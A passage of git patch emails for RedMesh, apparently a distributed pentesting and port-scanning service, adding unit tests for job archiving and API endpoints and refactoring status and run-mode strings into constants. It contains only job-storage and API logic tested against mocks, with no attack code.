"worker-A": {"report_cid": f"QmWorker{i}A", "start_port": 1, "end_port": 512, "ports_scanned": 512, "open_ports": [80], "nr_findings": 2}, + }, + "risk_score": 25 + i, + "risk_breakdown": {"findings_score": 10}, + "findings": [ + {"finding_id": f"f{i}a", "severity": "HIGH", "confidence": "firm", "title": f"Finding {i}A"}, + {"finding_id": f"f{i}b", "severity": "MEDIUM", "confidence": "firm", "title": f"Finding {i}B"}, + ], + "quick_summary": f"Summary for pass {i}", + } + pass_reports_data.append(pr) + pass_report_refs.append({"pass_nr": i, "report_cid": f"QmPassReport{i}", "risk_score": 25 + i}) + + # Job config + job_config = { + "target": "example.com", "start_port": 1, "end_port": 1024, + "run_mode": run_mode, "enabled_features": [], + } + + # Latest aggregated data + latest_aggregated = { + "open_ports": [80, 443], "service_info": {"80": {"_service_info_http": {}}}, + "web_tests_info": {}, "completed_tests": ["port_scan"], "ports_scanned": 1024, + } + + # R1FS get_json: return the right data for each CID + cid_map = {"QmConfigCID": job_config} + for i, pr in enumerate(pass_reports_data): + cid_map[f"QmPassReport{i+1}"] = pr + cid_map[f"QmAgg{i+1}"] = latest_aggregated + + if r1fs_write_fail: + plugin.r1fs.add_json.return_value = None + else: + archive_cid = "QmArchiveCID" + plugin.r1fs.add_json.return_value = archive_cid + if r1fs_verify_fail: + # add_json succeeds but get_json for the archive CID returns None + orig_map = dict(cid_map) + def verify_fail_get(cid): + if cid == archive_cid: + return None + return orig_map.get(cid) + plugin.r1fs.get_json.side_effect = verify_fail_get + else: + # Verification succeeds — archive CID also returns data + cid_map[archive_cid] = {"job_id": job_id} # minimal archive for verification + plugin.r1fs.get_json.side_effect = lambda cid: cid_map.get(cid) + + if not r1fs_write_fail and not r1fs_verify_fail: + plugin.r1fs.get_json.side_effect = lambda cid: cid_map.get(cid) + + # Job specs (running state) + job_specs = { + "job_id": job_id, + "job_status": job_status, + "job_pass": pass_count, + "run_mode": run_mode, + "launcher": "launcher-node", + "launcher_alias": "launcher-alias", + "target": "example.com", + "task_name": "Test", + "start_port": 1, + "end_port": 1024, + "date_created": 1000000.0, + "risk_score": 25 + pass_count, + "job_config_cid": "QmConfigCID", + "workers": { + "worker-A": {"start_port": 1, "end_port": 512, "finished": True, "report_cid": "QmReportA"}, + }, + "timeline": [ + {"type": "created", "label": "Created", "date": 1000000.0, "actor": "launcher-alias", "actor_type": "system", "meta": {}}, + ], + "pass_reports": pass_report_refs, + } + + plugin.chainstore_hset = MagicMock() + + # Bind real methods for archive building + Plugin = self._get_plugin_class() + plugin._compute_ui_aggregate = lambda passes, agg: Plugin._compute_ui_aggregate(plugin, passes, agg) + plugin._count_services = lambda si: Plugin._count_services(plugin, si) + plugin.SEVERITY_ORDER = Plugin.SEVERITY_ORDER + plugin.CONFIDENCE_ORDER = Plugin.CONFIDENCE_ORDER + + return plugin, job_specs, pass_reports_data, job_config + + def test_archive_written_to_r1fs(self): + """Archive stored in R1FS with job_id, job_config, passes, ui_aggregate.""" + Plugin = self._get_plugin_class() + plugin, job_specs, _, job_config = self._build_archive_plugin() + + Plugin._build_job_archive(plugin, "test-job", job_specs) + + # r1fs.add_json called with archive dict + self.assertTrue(plugin.r1fs.add_json.called) + archive_dict = plugin.r1fs.add_json.call_args[0][0] + self.assertEqual(archive_dict["job_id"], "test-job") + self.assertEqual(archive_dict["job_config"]["target"], "example.com") + self.assertEqual(len(archive_dict["passes"]), 1) + self.assertIn("ui_aggregate", archive_dict) + self.assertIn("total_open_ports", archive_dict["ui_aggregate"]) + + def test_archive_duration_computed(self): + """duration == date_completed - date_created, not 0.""" + Plugin = self._get_plugin_class() + plugin, job_specs, _, _ = self._build_archive_plugin() + + Plugin._build_job_archive(plugin, "test-job", job_specs) + + archive_dict = plugin.r1fs.add_json.call_args[0][0] + # date_created=1000000, time()=1000200 → duration=200 + self.assertEqual(archive_dict["duration"], 200.0) + self.assertGreater(archive_dict["duration"], 0) + + def test_stub_has_job_cid_and_config_cid(self): + """After prune, CStore stub has job_cid and job_config_cid.""" + Plugin = self._get_plugin_class() + plugin, job_specs, _, _ = self._build_archive_plugin() + + Plugin._build_job_archive(plugin, "test-job", job_specs) + + # Extract the stub written to CStore + hset_call = plugin.chainstore_hset.call_args + stub = hset_call[1]["value"] + self.assertEqual(stub["job_cid"], "QmArchiveCID") + self.assertEqual(stub["job_config_cid"], "QmConfigCID") + + def test_stub_fields_match_model(self): + """Stub has exactly CStoreJobFinalized fields.""" + from extensions.business.cybersec.red_mesh.models import CStoreJobFinalized + Plugin = self._get_plugin_class() + plugin, job_specs, _, _ = self._build_archive_plugin() + + Plugin._build_job_archive(plugin, "test-job", job_specs) + + stub = plugin.chainstore_hset.call_args[1]["value"] + # Verify it can be loaded into CStoreJobFinalized + finalized = CStoreJobFinalized.from_dict(stub) + self.assertEqual(finalized.job_id, "test-job") + self.assertEqual(finalized.job_status, "FINALIZED") + self.assertEqual(finalized.target, "example.com") + self.assertEqual(finalized.pass_count, 1) + self.assertEqual(finalized.worker_count, 1) + self.assertEqual(finalized.start_port, 1) + self.assertEqual(finalized.end_port, 1024) + self.assertGreater(finalized.duration, 0) + + def test_pass_report_cids_cleaned_up(self): + """After archive, individual pass CIDs deleted from R1FS.""" + Plugin = self._get_plugin_class() + plugin, job_specs, _, _ = self._build_archive_plugin() + + Plugin._build_job_archive(plugin, "test-job", job_specs) + + # Check delete_file was called for pass report CID + delete_calls = [c[0][0] for c in plugin.r1fs.delete_file.call_args_list] + self.assertIn("QmPassReport1", delete_calls) + + def test_node_report_cids_preserved(self): + """Worker report CIDs NOT deleted.""" + Plugin = self._get_plugin_class() + plugin, job_specs, _, _ = self._build_archive_plugin() + + Plugin._build_job_archive(plugin, "test-job", job_specs) + + delete_calls = [c[0][0] for c in plugin.r1fs.delete_file.call_args_list] + self.assertNotIn("QmWorker1A", delete_calls) + + def test_aggregated_report_cids_preserved(self): + """aggregated_report_cid per pass NOT deleted.""" + Plugin = self._get_plugin_class() + plugin, job_specs, _, _ = self._build_archive_plugin() + + Plugin._build_job_archive(plugin, "test-job", job_specs) + + delete_calls = [c[0][0] for c in plugin.r1fs.delete_file.call_args_list] + self.assertNotIn("QmAgg1", delete_calls) + + def test_archive_write_failure_no_prune(self): + """R1FS write fails -> CStore untouched, full running state retained.""" + Plugin = self._get_plugin_class() + plugin, job_specs, _, _ = self._build_archive_plugin(r1fs_write_fail=True) + + Plugin._build_job_archive(plugin, "test-job", job_specs) + + # CStore should NOT have been pruned + plugin.chainstore_hset.assert_not_called() + # pass_reports still present in job_specs + self.assertEqual(len(job_specs["pass_reports"]), 1) + + def test_archive_verify_failure_no_prune(self): + """CID not retrievable -> CStore untouched.""" + Plugin = self._get_plugin_class() + plugin, job_specs, _, _ = self._build_archive_plugin(r1fs_verify_fail=True) + + Plugin._build_job_archive(plugin, "test-job", job_specs) + + plugin.chainstore_hset.assert_not_called() + + def test_stuck_recovery(self): + """FINALIZED without job_cid -> _build_job_archive retried via _maybe_finalize_pass.""" + Plugin = self._get_plugin_class() + plugin, job_specs, _, _ = self._build_archive_plugin(job_status="FINALIZED") + # Simulate stuck state: FINALIZED but no job_cid + job_specs["job_status"] = "FINALIZED" + # No job_cid in specs + + plugin.chainstore_hgetall.return_value = {"test-job": job_specs} + plugin._normalize_job_record = MagicMock(return_value=("test-job", job_specs)) + plugin._build_job_archive = MagicMock() + + Plugin._maybe_finalize_pass(plugin) + + plugin._build_job_archive.assert_called_once_with("test-job", job_specs) + + def test_idempotent_rebuild(self): + """Calling _build_job_archive twice doesn't corrupt state.""" + Plugin = self._get_plugin_class() + plugin, job_specs, _, _ = self._build_archive_plugin() + + Plugin._build_job_archive(plugin, "test-job", job_specs) + first_stub = plugin.chainstore_hset.call_args[1]["value"] + + # Reset and call again (simulating a retry where data is still available) + plugin.chainstore_hset.reset_mock() + plugin.r1fs.add_json.reset_mock() + new_archive_cid = "QmArchiveCID2" + plugin.r1fs.add_json.return_value = new_archive_cid + + # Update get_json to also return data for the new archive CID + orig_side_effect = plugin.r1fs.get_json.side_effect + def extended_get(cid): + if cid == new_archive_cid: + return {"job_id": "test-job"} + return orig_side_effect(cid) + plugin.r1fs.get_json.side_effect = extended_get + + Plugin._build_job_archive(plugin, "test-job", job_specs) + + second_stub = plugin.chainstore_hset.call_args[1]["value"] + # Both produce valid stubs + self.assertEqual(first_stub["job_id"], second_stub["job_id"]) + self.assertEqual(first_stub["pass_count"], second_stub["pass_count"]) + + def test_multipass_archive(self): + """Archive with 3 passes contains all pass data.""" + Plugin = self._get_plugin_class() + plugin, job_specs, _, _ = self._build_archive_plugin(pass_count=3, run_mode="CONTINUOUS_MONITORING", job_status="STOPPED") + + Plugin._build_job_archive(plugin, "test-job", job_specs) + + archive_dict = plugin.r1fs.add_json.call_args[0][0] + self.assertEqual(len(archive_dict["passes"]), 3) + self.assertEqual(archive_dict["passes"][0]["pass_nr"], 1) + self.assertEqual(archive_dict["passes"][2]["pass_nr"], 3) + stub = plugin.chainstore_hset.call_args[1]["value"] + self.assertEqual(stub["pass_count"], 3) + self.assertEqual(stub["job_status"], "STOPPED") + + class VerboseResult(unittest.TextTestResult): def addSuccess(self, test): super().addSuccess(test) @@ -3043,4 +3514,6 @@ def addSuccess(self, test): suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestScannerEnhancements)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase1ConfigCID)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase2PassFinalization)) + suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase4UiAggregate)) + suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase3Archive)) runner.run(suite) From 16e8b0212b7ad83f2b2ecf525faee2f37e4f3fdb Mon Sep 17 00:00:00 2001 From: toderian Date: Sat, 7 Mar 2026 21:43:39 +0000 Subject: [PATCH 012/114] feat: fix backend endpoints to work with new cstore structure (phase 5) --- .../cybersec/red_mesh/pentester_api_01.py | 97 +++++++-- .../cybersec/red_mesh/test_redmesh.py | 198 ++++++++++++++++++ 2 files changed, 282 insertions(+), 13 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 0df6d447..ab622ad8 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -1707,6 +1707,10 @@ def _maybe_finalize_pass(self): # Skip jobs that are already finalized or stopped if job_status in ("FINALIZED", "STOPPED"): + # Stuck recovery: if no job_cid, the archive build failed previously — retry + if not job_specs.get("job_cid"): + self.P(f"[STUCK RECOVERY] {job_id} is {job_status} but has no job_cid — retrying archive build", color='y') + self._build_job_archive(job_id, job_specs) continue if all_finished and next_pass_at is None: @@ -2391,15 +2395,13 @@ def get_job_status(self, job_id: str): @BasePlugin.endpoint def get_job_data(self, job_id: str): """ - Retrieve the complete job data from CStore. + Retrieve job data from CStore. - Unlike `get_job_status` which returns local worker progress, - this endpoint returns the full job specification including: - - All network workers and their completion status - - Job lifecycle state (RUNNING/SCHEDULED_FOR_STOP/STOPPED/FINALIZED) - - Launcher info and timestamps - - Distribution strategy and configuration - - Pass history for continuous monitoring jobs + For finalized/stopped jobs (stubs): returns the lightweight stub as-is. + The frontend uses job_cid to fetch the full archive via get_job_archive(). + + For running jobs: returns CStore state with pass_reports trimmed to + the last 5 entries (frontend fetches those CIDs individually). Parameters ---------- @@ -2409,27 +2411,85 @@ def get_job_data(self, job_id: str): Returns ------- dict - Complete job data or error if not found. + Job data or error if not found. """ job_specs = self._get_job_from_cstore(job_id) - if job_specs: + if not job_specs: + return { + "job_id": job_id, + "found": False, + "message": "Job not found in network store.", + } + + # Finalized stubs have job_cid — return as-is + if job_specs.get("job_cid"): return { "job_id": job_id, "found": True, "job": job_specs, } + + # Running jobs — trim pass_reports to last 5 + pass_reports = job_specs.get("pass_reports", []) + if isinstance(pass_reports, list) and len(pass_reports) > 5: + job_specs["pass_reports"] = pass_reports[-5:] + return { "job_id": job_id, - "found": False, - "message": "Job not found in network store.", + "found": True, + "job": job_specs, } + @BasePlugin.endpoint + def get_job_archive(self, job_id: str): + """ + Retrieve the full job archive from R1FS. + + For finalized/stopped jobs only. Returns the complete archive including + job config, all passes, timeline, and ui_aggregate in a single response. + + Parameters + ---------- + job_id : str + Identifier of the job. + + Returns + ------- + dict + Full archive or error. + """ + job_specs = self._get_job_from_cstore(job_id) + if not job_specs: + return {"error": "not_found", "message": f"Job {job_id} not found."} + + job_cid = job_specs.get("job_cid") + if not job_cid: + return {"error": "not_available", "message": f"Job {job_id} is still running (no archive yet)."} + + archive = self.r1fs.get_json(job_cid) + if archive is None: + return {"error": "fetch_failed", "message": f"Failed to fetch archive from R1FS (CID: {job_cid})."} + + # Integrity check: verify job_id matches + if archive.get("job_id") != job_id: + self.P( + f"[INTEGRITY] Archive CID {job_cid} has job_id={archive.get('job_id')}, expected {job_id}", + color='r' + ) + return {"error": "integrity_mismatch", "message": "Archive job_id does not match requested job_id."} + + return {"job_id": job_id, "archive": archive} + @BasePlugin.endpoint def list_network_jobs(self): """ List all network jobs stored in CStore. + Finalized stubs are returned as-is (already lightweight). + Running jobs are stripped of timeline, workers detail, and pass_reports + to keep the listing payload small. + Returns ------- dict @@ -2440,9 +2500,20 @@ def list_network_jobs(self): for job_key, job_spec in raw_network_jobs.items(): normalized_key, normalized_spec = self._normalize_job_record(job_key, job_spec) if normalized_key and normalized_spec: - # Replace heavy pass_reports with a lightweight count for listing + # Finalized stubs (have job_cid) — return as-is + if normalized_spec.get("job_cid"): + normalized_jobs[normalized_key] = normalized_spec + continue + + # Running jobs — strip heavy fields, keep counts pass_reports = normalized_spec.pop("pass_reports", None) normalized_spec["pass_count"] = len(pass_reports) if isinstance(pass_reports, list) else 0 + + workers = normalized_spec.pop("workers", None) + normalized_spec["worker_count"] = len(workers) if isinstance(workers, dict) else 0 + + normalized_spec.pop("timeline", None) + normalized_jobs[normalized_key] = normalized_spec return normalized_jobs diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index 7261709a..e8c738a4 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -3499,6 +3499,203 @@ def test_multipass_archive(self): self.assertEqual(stub["job_status"], "STOPPED") +class TestPhase5Endpoints(unittest.TestCase): + """Phase 5: API Endpoints.""" + + @classmethod + def _mock_plugin_modules(cls): + if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: + return + TestPhase1ConfigCID._mock_plugin_modules() + + def _get_plugin_class(self): + self._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + return PentesterApi01Plugin + + def _build_finalized_stub(self, job_id="test-job"): + """Build a CStoreJobFinalized-shaped dict.""" + return { + "job_id": job_id, + "job_status": "FINALIZED", + "target": "example.com", + "task_name": "Test", + "risk_score": 42, + "run_mode": "SINGLEPASS", + "duration": 200.0, + "pass_count": 1, + "launcher": "launcher-node", + "launcher_alias": "launcher-alias", + "worker_count": 2, + "start_port": 1, + "end_port": 1024, + "date_created": 1000000.0, + "date_completed": 1000200.0, + "job_cid": "QmArchiveCID", + "job_config_cid": "QmConfigCID", + } + + def _build_running_job(self, job_id="run-job", pass_count=8): + """Build a running job dict with N pass_reports.""" + pass_reports = [ + {"pass_nr": i, "report_cid": f"QmPass{i}", "risk_score": 10 + i} + for i in range(1, pass_count + 1) + ] + return { + "job_id": job_id, + "job_status": "RUNNING", + "job_pass": pass_count, + "run_mode": "CONTINUOUS_MONITORING", + "launcher": "launcher-node", + "launcher_alias": "launcher-alias", + "target": "example.com", + "task_name": "Continuous Test", + "start_port": 1, + "end_port": 1024, + "date_created": 1000000.0, + "risk_score": 18, + "job_config_cid": "QmConfigCID", + "workers": { + "worker-A": {"start_port": 1, "end_port": 512, "finished": False}, + "worker-B": {"start_port": 513, "end_port": 1024, "finished": False}, + }, + "timeline": [ + {"type": "created", "label": "Created", "date": 1000000.0, "actor": "launcher", "actor_type": "system", "meta": {}}, + {"type": "started", "label": "Started", "date": 1000001.0, "actor": "launcher", "actor_type": "system", "meta": {}}, + ], + "pass_reports": pass_reports, + } + + def _build_plugin(self, jobs_dict): + """Build a mock plugin with given jobs in CStore.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.ee_addr = "launcher-node" + plugin.ee_id = "launcher-alias" + plugin.cfg_instance_id = "test-instance" + plugin.r1fs = MagicMock() + + plugin.chainstore_hgetall.return_value = dict(jobs_dict) + plugin.chainstore_hget.side_effect = lambda hkey, key: jobs_dict.get(key) + plugin._normalize_job_record = MagicMock( + side_effect=lambda k, v: (k, v) if isinstance(v, dict) and v.get("job_id") else (None, None) + ) + + # Bind real methods so endpoint logic executes properly + plugin._get_all_network_jobs = lambda: Plugin._get_all_network_jobs(plugin) + plugin._get_job_from_cstore = lambda job_id: Plugin._get_job_from_cstore(plugin, job_id) + return plugin + + def test_get_job_archive_finalized(self): + """get_job_archive for finalized job returns archive with matching job_id.""" + Plugin = self._get_plugin_class() + stub = self._build_finalized_stub("fin-job") + plugin = self._build_plugin({"fin-job": stub}) + + archive_data = {"job_id": "fin-job", "passes": [], "ui_aggregate": {}} + plugin.r1fs.get_json.return_value = archive_data + + result = Plugin.get_job_archive(plugin, job_id="fin-job") + self.assertEqual(result["job_id"], "fin-job") + self.assertEqual(result["archive"]["job_id"], "fin-job") + + def test_get_job_archive_running(self): + """get_job_archive for running job returns not_available error.""" + Plugin = self._get_plugin_class() + running = self._build_running_job("run-job", pass_count=2) + plugin = self._build_plugin({"run-job": running}) + + result = Plugin.get_job_archive(plugin, job_id="run-job") + self.assertEqual(result["error"], "not_available") + + def test_get_job_archive_integrity_mismatch(self): + """Corrupted job_cid pointing to wrong archive is rejected.""" + Plugin = self._get_plugin_class() + stub = self._build_finalized_stub("fin-job") + plugin = self._build_plugin({"fin-job": stub}) + + # Archive has a different job_id + plugin.r1fs.get_json.return_value = {"job_id": "other-job", "passes": []} + + result = Plugin.get_job_archive(plugin, job_id="fin-job") + self.assertEqual(result["error"], "integrity_mismatch") + + def test_get_job_data_running_last_5(self): + """Running job with 8 passes returns last 5 refs only.""" + Plugin = self._get_plugin_class() + running = self._build_running_job("run-job", pass_count=8) + plugin = self._build_plugin({"run-job": running}) + + result = Plugin.get_job_data(plugin, job_id="run-job") + self.assertTrue(result["found"]) + refs = result["job"]["pass_reports"] + self.assertEqual(len(refs), 5) + # Should be the last 5 (pass_nr 4-8) + self.assertEqual(refs[0]["pass_nr"], 4) + self.assertEqual(refs[-1]["pass_nr"], 8) + + def test_get_job_data_finalized_returns_stub(self): + """Finalized job returns stub as-is with job_cid.""" + Plugin = self._get_plugin_class() + stub = self._build_finalized_stub("fin-job") + plugin = self._build_plugin({"fin-job": stub}) + + result = Plugin.get_job_data(plugin, job_id="fin-job") + self.assertTrue(result["found"]) + self.assertEqual(result["job"]["job_cid"], "QmArchiveCID") + self.assertEqual(result["job"]["pass_count"], 1) + + def test_list_jobs_finalized_as_is(self): + """Finalized stubs returned unmodified with all CStoreJobFinalized fields.""" + Plugin = self._get_plugin_class() + stub = self._build_finalized_stub("fin-job") + plugin = self._build_plugin({"fin-job": stub}) + + result = Plugin.list_network_jobs(plugin) + self.assertIn("fin-job", result) + job = result["fin-job"] + self.assertEqual(job["job_cid"], "QmArchiveCID") + self.assertEqual(job["pass_count"], 1) + self.assertEqual(job["worker_count"], 2) + self.assertEqual(job["risk_score"], 42) + self.assertEqual(job["duration"], 200.0) + + def test_list_jobs_running_stripped(self): + """Running jobs have counts but no timeline, workers, or pass_reports.""" + Plugin = self._get_plugin_class() + running = self._build_running_job("run-job", pass_count=3) + plugin = self._build_plugin({"run-job": running}) + + result = Plugin.list_network_jobs(plugin) + self.assertIn("run-job", result) + job = result["run-job"] + # Should have counts + self.assertEqual(job["pass_count"], 3) + self.assertEqual(job["worker_count"], 2) + # Should NOT have heavy fields + self.assertNotIn("timeline", job) + self.assertNotIn("workers", job) + self.assertNotIn("pass_reports", job) + + def test_get_job_archive_not_found(self): + """get_job_archive for non-existent job returns not_found.""" + Plugin = self._get_plugin_class() + plugin = self._build_plugin({}) + + result = Plugin.get_job_archive(plugin, job_id="missing-job") + self.assertEqual(result["error"], "not_found") + + def test_get_job_archive_r1fs_failure(self): + """get_job_archive when R1FS fails returns fetch_failed.""" + Plugin = self._get_plugin_class() + stub = self._build_finalized_stub("fin-job") + plugin = self._build_plugin({"fin-job": stub}) + plugin.r1fs.get_json.return_value = None + + result = Plugin.get_job_archive(plugin, job_id="fin-job") + self.assertEqual(result["error"], "fetch_failed") + + class VerboseResult(unittest.TextTestResult): def addSuccess(self, test): super().addSuccess(test) @@ -3516,4 +3713,5 @@ def addSuccess(self, test): suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase2PassFinalization)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase4UiAggregate)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase3Archive)) + suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase5Endpoints)) runner.run(suite) From de9d8d8032b6dfb172ac1147b48bff9b30c20ba1 Mon Sep 17 00:00:00 2001 From: toderian Date: Sat, 7 Mar 2026 22:50:02 +0000 Subject: [PATCH 013/114] fix: use constants everywhere in API (phase 11) --- .../business/cybersec/red_mesh/constants.py | 9 ++- .../cybersec/red_mesh/models/archive.py | 9 ++- .../cybersec/red_mesh/pentester_api_01.py | 78 +++++++++++-------- .../red_mesh/redmesh_llm_agent_mixin.py | 6 +- 4 files changed, 62 insertions(+), 40 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/constants.py b/extensions/business/cybersec/red_mesh/constants.py index 0890779e..e16dedfd 100644 --- a/extensions/business/cybersec/red_mesh/constants.py +++ b/extensions/business/cybersec/red_mesh/constants.py @@ -190,4 +190,11 @@ RISK_CONFIDENCE_MULTIPLIERS = {"certain": 1.0, "firm": 0.8, "tentative": 0.5} RISK_SIGMOID_K = 0.02 RISK_CRED_PENALTY_PER = 15 -RISK_CRED_PENALTY_CAP = 30 \ No newline at end of file +RISK_CRED_PENALTY_CAP = 30 + +# ===================================================================== +# Job archive +# ===================================================================== + +JOB_ARCHIVE_VERSION = 1 +MAX_CONTINUOUS_PASSES = 100 \ No newline at end of file diff --git a/extensions/business/cybersec/red_mesh/models/archive.py b/extensions/business/cybersec/red_mesh/models/archive.py index 7ad044ab..22533e14 100644 --- a/extensions/business/cybersec/red_mesh/models/archive.py +++ b/extensions/business/cybersec/red_mesh/models/archive.py @@ -13,6 +13,9 @@ from dataclasses import dataclass, asdict from extensions.business.cybersec.red_mesh.models.shared import _strip_none +from extensions.business.cybersec.red_mesh.constants import ( + DISTRIBUTION_SLICE, PORT_ORDER_SEQUENTIAL, RUN_MODE_SINGLEPASS, +) @dataclass(frozen=True) @@ -56,12 +59,12 @@ def from_dict(cls, d: dict) -> JobConfig: start_port=d["start_port"], end_port=d["end_port"], exceptions=d.get("exceptions", []), - distribution_strategy=d.get("distribution_strategy", "SLICE"), - port_order=d.get("port_order", "SEQUENTIAL"), + distribution_strategy=d.get("distribution_strategy", DISTRIBUTION_SLICE), + port_order=d.get("port_order", PORT_ORDER_SEQUENTIAL), nr_local_workers=d.get("nr_local_workers", 2), enabled_features=d.get("enabled_features", []), excluded_features=d.get("excluded_features", []), - run_mode=d.get("run_mode", "SINGLEPASS"), + run_mode=d.get("run_mode", RUN_MODE_SINGLEPASS), scan_min_delay=d.get("scan_min_delay", 0), scan_max_delay=d.get("scan_max_delay", 0), ics_safe_mode=d.get("ics_safe_mode", False), diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index ab622ad8..fd4eb6b0 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -44,6 +44,16 @@ ) from .constants import ( FEATURE_CATALOG, + JOB_STATUS_RUNNING, + JOB_STATUS_SCHEDULED_FOR_STOP, + JOB_STATUS_STOPPED, + JOB_STATUS_FINALIZED, + RUN_MODE_SINGLEPASS, + RUN_MODE_CONTINUOUS_MONITORING, + DISTRIBUTION_SLICE, + DISTRIBUTION_MIRROR, + PORT_ORDER_SHUFFLE, + PORT_ORDER_SEQUENTIAL, LLM_ANALYSIS_SECURITY_ASSESSMENT, LLM_ANALYSIS_VULNERABILITY_SUMMARY, LLM_ANALYSIS_REMEDIATION_PLAN, @@ -77,12 +87,12 @@ "WARMUP_DELAY" : 30, # Defines how ports are split across local workers. - "DISTRIBUTION_STRATEGY": "SLICE", # "SLICE" or "MIRROR" - "PORT_ORDER": "SHUFFLE", # "SHUFFLE" or "SEQUENTIAL" + "DISTRIBUTION_STRATEGY": DISTRIBUTION_SLICE, + "PORT_ORDER": PORT_ORDER_SHUFFLE, "EXCLUDED_FEATURES": [], # Run mode: SINGLEPASS (default) or CONTINUOUS_MONITORING - "RUN_MODE": "SINGLEPASS", + "RUN_MODE": RUN_MODE_SINGLEPASS, "MONITOR_INTERVAL": 60, # seconds between passes in continuous mode "MONITOR_JITTER": 5, # random jitter to avoid simultaneous CStore writes @@ -344,8 +354,8 @@ def _submit_redmesh_test_attestation(self, job_id: str, job_specs: dict, workers ) return None - run_mode = str(job_specs.get("run_mode", "SINGLEPASS")).upper() - test_mode = 1 if run_mode == "CONTINUOUS_MONITORING" else 0 + run_mode = str(job_specs.get("run_mode", RUN_MODE_SINGLEPASS)).upper() + test_mode = 1 if run_mode == RUN_MODE_CONTINUOUS_MONITORING else 0 node_count = len(workers) if isinstance(workers, dict) else 0 target = job_specs.get("target") execution_id = self._attestation_pack_execution_id(job_id) @@ -413,8 +423,8 @@ def _submit_redmesh_job_start_attestation(self, job_id: str, job_specs: dict, wo ) return None - run_mode = str(job_specs.get("run_mode", "SINGLEPASS")).upper() - test_mode = 1 if run_mode == "CONTINUOUS_MONITORING" else 0 + run_mode = str(job_specs.get("run_mode", RUN_MODE_SINGLEPASS)).upper() + test_mode = 1 if run_mode == RUN_MODE_CONTINUOUS_MONITORING else 0 node_count = len(workers) if isinstance(workers, dict) else 0 target = job_specs.get("target") execution_id = self._attestation_pack_execution_id(job_id) @@ -706,10 +716,10 @@ def _launch_job( local_jobs = {} ports = list(range(start_port, end_port + 1)) batches = [] - if port_order == "SEQUENTIAL": + if port_order == PORT_ORDER_SEQUENTIAL: ports = sorted(ports) # redundant but explicit else: - port_order = "SHUFFLE" + port_order = PORT_ORDER_SHUFFLE random.shuffle(ports) nr_ports = len(ports) if nr_ports == 0: @@ -810,8 +820,8 @@ def _maybe_launch_jobs(self, nr_local_workers=None): # Check if this is a continuous monitoring job where our worker was reset # (launcher reset our finished flag for next pass) - clear local tracking # Only applies to CONTINUOUS_MONITORING and only when job is not currently running - run_mode = job_specs.get("run_mode", "SINGLEPASS") - if run_mode == "CONTINUOUS_MONITORING" and is_closed_target and not is_in_progress_target: + run_mode = job_specs.get("run_mode", RUN_MODE_SINGLEPASS) + if run_mode == RUN_MODE_CONTINUOUS_MONITORING and is_closed_target and not is_in_progress_target: # Our worker entry was reset by launcher for next pass - clear local state self.P(f"Detected worker reset for job {job_id}, clearing local tracking for next pass") self.completed_jobs_reports.pop(job_id, None) @@ -1634,11 +1644,11 @@ def _build_job_archive(self, job_key, job_specs): # 8. Prune CStore to stub (commit point) stub = CStoreJobFinalized( job_id=job_id, - job_status=job_specs.get("job_status", "FINALIZED"), + job_status=job_specs.get("job_status", JOB_STATUS_FINALIZED), target=job_specs.get("target", ""), task_name=job_specs.get("task_name", ""), risk_score=job_specs.get("risk_score", 0), - run_mode=job_specs.get("run_mode", "SINGLEPASS"), + run_mode=job_specs.get("run_mode", RUN_MODE_SINGLEPASS), duration=duration, pass_count=len(passes), launcher=job_specs.get("launcher", ""), @@ -1697,8 +1707,8 @@ def _maybe_finalize_pass(self): if not workers: continue - run_mode = job_specs.get("run_mode", "SINGLEPASS") - job_status = job_specs.get("job_status", "RUNNING") + run_mode = job_specs.get("run_mode", RUN_MODE_SINGLEPASS) + job_status = job_specs.get("job_status", JOB_STATUS_RUNNING) all_finished = all(w.get("finished") for w in workers.values()) next_pass_at = job_specs.get("next_pass_at") job_pass = job_specs.get("job_pass", 1) @@ -1706,7 +1716,7 @@ def _maybe_finalize_pass(self): pass_reports = job_specs.setdefault("pass_reports", []) # Skip jobs that are already finalized or stopped - if job_status in ("FINALIZED", "STOPPED"): + if job_status in (JOB_STATUS_FINALIZED, JOB_STATUS_STOPPED): # Stuck recovery: if no job_cid, the archive build failed previously — retry if not job_specs.get("job_cid"): self.P(f"[STUCK RECOVERY] {job_id} is {job_status} but has no job_cid — retrying archive build", color='y') @@ -1789,7 +1799,7 @@ def _maybe_finalize_pass(self): # 7. ATTESTATION (best-effort, must not block finalization) redmesh_test_attestation = None should_submit_attestation = True - if run_mode == "CONTINUOUS_MONITORING": + if run_mode == RUN_MODE_CONTINUOUS_MONITORING: last_attestation_at = job_specs.get("last_attestation_at") min_interval = self.cfg_attestation_min_seconds_between_submits if last_attestation_at is not None and now_ts - last_attestation_at < min_interval: @@ -1848,8 +1858,8 @@ def _maybe_finalize_pass(self): pass_reports.append(PassReportRef(job_pass, pass_report_cid, risk_score).to_dict()) # Handle SINGLEPASS - set FINALIZED, build archive, prune CStore - if run_mode == "SINGLEPASS": - job_specs["job_status"] = "FINALIZED" + if run_mode == RUN_MODE_SINGLEPASS: + job_specs["job_status"] = 